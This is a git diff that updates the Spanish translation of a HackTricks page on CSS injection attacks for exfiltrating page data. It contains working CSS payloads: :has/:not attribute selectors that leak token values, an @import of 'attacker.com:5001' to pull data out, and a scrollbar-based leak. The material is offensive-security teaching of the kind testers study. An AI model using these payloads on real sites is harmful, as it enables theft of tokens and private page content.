mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['pentesting-web/xs-search/css-injection/README.md'] to es
This commit is contained in:
parent
32b0b200e6
commit
db3058200d
1 changed files with 22 additions and 7 deletions
|
@ -44,15 +44,30 @@ Algunos ejemplos de código para explotar esto: [https://gist.github.com/d0nutpt
|
|||
2. Capacidad para **enmarcar la página para desencadenar la reevaluación del CSS de las cargas útiles recién generadas**.
|
||||
3. Capacidad para utilizar **imágenes alojadas externamente** (esto podría estar bloqueado por CSP).
|
||||
|
||||
### Selector de atributos ciegos
|
||||
|
||||
Como se **explica en esta publicación** (https://portswigger.net/research/blind-css-exfiltration), es posible combinar los selectores **`:has`** y **`:not`** para identificar contenido incluso de elementos ciegos. Esto es muy útil cuando no tienes idea de lo que hay dentro de la página web que carga la inyección de CSS.\
|
||||
También es posible utilizar esos selectores para extraer información de varios bloques del mismo tipo, como en:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
background:url(/m);
|
||||
}
|
||||
</style>
|
||||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
Combinando esto con la siguiente técnica **@import**, es posible exfiltrar mucha **información utilizando la inyección de CSS en páginas ciegas con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
La técnica anterior tiene algunas limitaciones, verifica los requisitos previos. Necesitas poder **enviar múltiples enlaces a la víctima**, o necesitas poder **enmarcar la página vulnerable a la inyección de CSS**.
|
||||
La técnica anterior tiene algunas limitaciones, verifica los requisitos previos. Necesitas poder **enviar múltiples enlaces a la víctima**, o necesitas poder **insertar un iframe en la página vulnerable a la inyección de CSS**.
|
||||
|
||||
Sin embargo, hay otra técnica ingeniosa que utiliza **`@import` de CSS** para mejorar la calidad de la técnica.
|
||||
Sin embargo, hay otra técnica inteligente que utiliza **CSS `@import`** para mejorar la calidad de la técnica.
|
||||
|
||||
Esto fue mostrado por primera vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) y funciona de la siguiente manera:
|
||||
|
||||
En lugar de cargar la misma página una y otra vez con decenas de cargas útiles diferentes cada vez (como en la técnica anterior), vamos a **cargar la página solo una vez y solo con una importación al servidor del atacante** (esta es la carga útil que se envía a la víctima):
|
||||
En lugar de cargar la misma página una y otra vez con decenas de cargas únicas cada vez (como en la técnica anterior), vamos a **cargar la página solo una vez y solo con una importación al servidor del atacante** (este es el payload que se envía a la víctima):
|
||||
```css
|
||||
@import url('//attacker.com:5001/start?');
|
||||
```
|
||||
|
@ -148,7 +163,7 @@ Lo cual abusa de una **inyección HTML enviando el código**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
con el fragmento de texto de desplazamiento: **`#:~:text=Administrador`**
|
||||
con el fragmento de desplazamiento de texto: **`#:~:text=Administrador`**
|
||||
|
||||
Si se encuentra la palabra Administrador, se cargará el recurso indicado.
|
||||
|
||||
|
@ -200,7 +215,7 @@ Podemos extraer el texto contenido en un nodo con una técnica que combina **lig
|
|||
|
||||
Las fuentes se pueden crear como fuentes SVG y luego convertirlas a woff con fontforge. En SVG podemos definir el ancho de un glifo a través del atributo **horiz-adv-x**, por lo que podemos construir algo como `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, siendo **XY una secuencia de dos caracteres**. **Si la secuencia existe, se renderizará y el tamaño del texto cambiará**. Pero... ¿cómo podemos detectar estos cambios?
|
||||
|
||||
Cuando el atributo white-space se define como **nowrap**, se fuerza al texto a no romperse cuando excede el ancho del elemento padre. En esta situación, aparecerá una **barra de desplazamiento horizontal**. Y podemos **definir el estilo de esa barra de desplazamiento**, ¡así que podemos filtrar cuando esto suceda **:)**
|
||||
Cuando el atributo white-space se define como **nowrap**, se fuerza al texto a no romperse cuando excede el ancho del padre. En esta situación, aparecerá una **barra de desplazamiento horizontal**. Y podemos **definir el estilo de esa barra de desplazamiento**, ¡así que podemos filtrar información cuando esto suceda **:)**
|
||||
```css
|
||||
body { white-space: nowrap };
|
||||
body::-webkit-scrollbar { background: blue; }
|
||||
|
@ -410,7 +425,7 @@ browser.get(url)
|
|||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Entonces, suponiendo que la fuente no coincida, el tiempo de respuesta al visitar el bot debería ser de alrededor de 30 segundos. Si hay una coincidencia, se enviarán una serie de solicitudes para obtener la fuente, y la red siempre tendrá algo, por lo que tomará más tiempo cumplir con la condición de parada y obtener la respuesta. Por lo tanto, el tiempo de respuesta puede indicar si hay una coincidencia.
|
||||
Entonces, suponiendo que la fuente no coincida, el tiempo para obtener la respuesta al visitar el bot debería ser de alrededor de 30 segundos. Si hay una coincidencia, se enviarán una serie de solicitudes para obtener la fuente, y la red siempre tendrá algo, por lo que tomará más tiempo cumplir con la condición de parada y obtener la respuesta. Por lo tanto, el tiempo de respuesta puede indicar si hay una coincidencia.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -427,6 +442,6 @@ Entonces, suponiendo que la fuente no coincida, el tiempo de respuesta al visita
|
|||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue